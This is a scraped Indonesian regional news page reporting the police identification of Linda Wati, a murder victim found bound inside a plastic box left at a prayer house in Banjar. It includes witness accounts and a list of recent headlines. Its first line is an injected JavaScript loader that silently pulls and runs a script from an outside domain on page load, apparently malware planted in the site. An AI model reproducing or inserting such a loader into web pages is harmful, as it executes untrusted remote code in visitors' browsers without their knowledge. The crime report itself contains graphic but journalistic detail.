(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mayat dalam Boks Plastik Dipastikan Linda Wati, Pelaku Diduga Pakai Motor Korban


MARTAPURA, Tak butuh waktu lama, jajaran tim dari Polda Kalsel dan Polres Banjar berhasil mengungkap identitas sosok mayat wanita yang dibunuh dengan kejam dengan dimasukkan dalam boks plastik lalu dititipkan di Mushollah Al Musyaroffah, Jalan Bakti, Desa Pemakuan Laut, Kecamatan Sungai Tabuk, Kabupaten Banjar, Minggu (10/6).

Sososk tersebut diketahui bernama Linda Wati (32) asal Desa Anjir Serapat Timur, Jalan Trans Kalimantan Kilometer 14, Kecamatan Kapuas Timur, Kabupaten Kapus, Kalteng. Linda Wati diketahui bekerja di perusahaan Plywood Tanjung Selatan (TS), Kabupaten Barito Kuala, Kalsel.

Baimunah, kakak kandung korban, mengatakan Linda Wati merupakan anak paling bungsu dari enam besaudara. Baimunah tak punya firasat buruk sebelum kematian Linda.

“Tidak ada firasat buruk tentang adik saya, cuma dapat telepon dari pihak kepolisian, disuruh menjenguk di RSUD Ulin Banajarmasin,” kata Baimunah saat menengok jenazah korban di RSUD Ulin Banjarmasin tadi.

Menurut Baimunah, adiknya tersebut kerap memakai sepeda motor Yamaha Jupiter Z ketika bekerja sehari-hari. Jadi, ada kemungkinan sepeda motor korban dipakai oleh pelaku ketika mengantarkan boks plastik berisi mayat ke Musala Al Musyaroffah. Keterangan ini berdasarkan pengakuan Ahmad Muslim, Ketua Pengurus Langgar Al Musyaroffah sebelumnya.

“Linda itu orangnya pendiam enggak banyak omong, dia udah lama kerja di TS,” kata Baimunah. Ia menuntut pelaku dihukum seberat-beratnya karena menghilangkan nyawa orang secara sadis. Saat ini polisi terus melakukan penyelidikan untuk mengungkap siapa pembunuh Linda Wati dan motifnya.

Di sisi lain, Wakapolres Banjar Kompol Aji Lukman juga membenarkan bahwa korban adalah Linda Wati berdasarkan sidik jarinya. “Dari sidik jari korban, bisa dilacak karena terkoneksi dengan data online KTP elektronik, sehingga memudahkan kami untuk mengenali korban,” katanya.

Sebelumnya, sesosok mayat perempuan ditemukan dalam bok plastik di sebuah musholla Al Musyarofah, lingkungan RT 3 RW 2 Desa Pemakuan Laut, Kecamatan Sungai Tabuk, Kabupaten Banjar, Minggu (10/6) sekitar pukul 05.30 Wita. Kejadian ini membuat gempar warga di lokasi kejadian.




Ketika ditemukan, kondisi tubuh mayat diikat tali rafia dan ditekuk agar muat dalam boks plastik berukuran 100 x 75 cm tersebut. Seorang saksi mata, sekaligus Ketua Pengurus Musholla Al Musyaroffah Jalan Bakti Desa Pemakuan Laut, Ahmad Muslim mengatakan, sekitar pukul 00.30 Wita seorang laki-laki menghentikan sepeda motor Yamaha Jupiter warna merah dengan masih menggunakan helm menutupi muka. Lelaki tersebut lantas menurunkan boks plastik yang diikat di atas motornya. Karena terlihat keberatan saat mau menurunkan, beberapa remaja yang pada saat itu sedang tadarusan di musholla membantu menurunkan box tersebut. Karena sangat berat, perlu sampai empat orang untuk mengangkatnya.

“Pria tadi bilang, mau titip sebentar karena mau ambil HP yang ketinggalan di rumah. Lalu dia berpesan kalau sampai subuh saya enggak kembali, tolong masukkan ke dalam musala,” terang Muslim.

Pelaku mengaku bahwa boks plastik tersebut berisi baju dagangan yang hendak dijual ke pasar. Tak merasa curiga, anak-anak tersebut membiarkan saja pelaku pergi dan menaruh kotak boks plastik di depan musholla.

Karena tak kunjung diambil hingga habis subuh, maka para jamaah mushala bersepakat untuk membuka untuk mengetahui isi dari paket tersebut. Pun mereka mengira barang tersebut juga titipan untuk musholla. Sebelumnya, jamaah musholla menduga paket tersebut memang berisi baju sesuai pengakuan pelaku.

“Tapi setelah dibuka boks plastik tersebut, didalamnya ada tiga lapis kantong plastik dan setelah betul-betul terbuka semua, kami terkejut ternyata isinya manusia dan terlihat tangannya yang terikat,” cetusnya.

Mayat mengenaskan tersebut dalam kondisi tak mengenakan baju dan setelah dicek ternyata seorang perempuan. Hal ini terlihat dari rambut serta payudara yang kelihatan secara langsung setelah sejumlah penutup plastik hitam itu dibuka.

Tahu, bahwa ternyata boks plastik tersebut berisi mayat, pengurus musholla dan sejumlah jamaah lantas melaporkan ke Ketua RT, Pambakal, dan Polsek Sungai Tabuk.(rico/ammar)

Reporter : Rico, Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

7 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

7 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

8 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

8 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

8 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

9 jam ago

This website uses cookies.